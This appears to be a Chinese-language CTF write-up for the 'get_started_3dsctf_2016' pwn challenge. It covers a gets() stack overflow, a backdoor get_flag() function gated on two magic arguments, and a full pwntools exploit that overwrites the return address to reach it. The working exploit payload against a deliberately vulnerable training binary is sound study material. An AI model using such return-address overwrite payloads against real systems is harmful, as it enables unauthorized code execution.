get_started_3dsctf_2016
使用checksec查看:

只开启了栈不可执行。
放进IDA中分析:

gets(&v4);:存在栈溢出
通过字符查找可找到一个后门函数get_flag(int a1, int a2):

if ( a1 == 0x308CD64F && a2 == 0x195719D1 ):判断传入的参数的值。- 如果
if判断成功,则能读取到flag
题目思路
-
存在栈溢出,可通过栈溢出覆盖返回地址跳到
get_flag() -
向
get_flag()传入参数0x308CD64F和0x195719D1
步骤解析
无需
完整exp
from pwn import *
#start
r = process("../buu/get_started_3dsctf_2016")
# r = remote("node4.buuoj.cn",27098)
context.log_level = 'debug'
#params
#attack
payload = b'M'*56 + p32(0x080489A0) + p32(0x0804E6A0)+ p32(0x308CD64F) + p32(0x195719D1)
r.sendline(payload)
r.recv()
本文详细介绍了如何分析一个CTF挑战,该挑战涉及到栈溢出漏洞和后门函数。通过checksec工具查看,发现只启用了栈不可执行保护。在IDA中深入分析,找到了一个名为get_flag()的后门函数,需要传入特定参数才能读取flag。解决方案是构造payload,利用栈溢出覆盖返回地址,跳转到get_flag()函数,并传递0x308CD64F和0x195719D1作为参数来获取flag。
453

被折叠的 条评论
为什么被折叠?



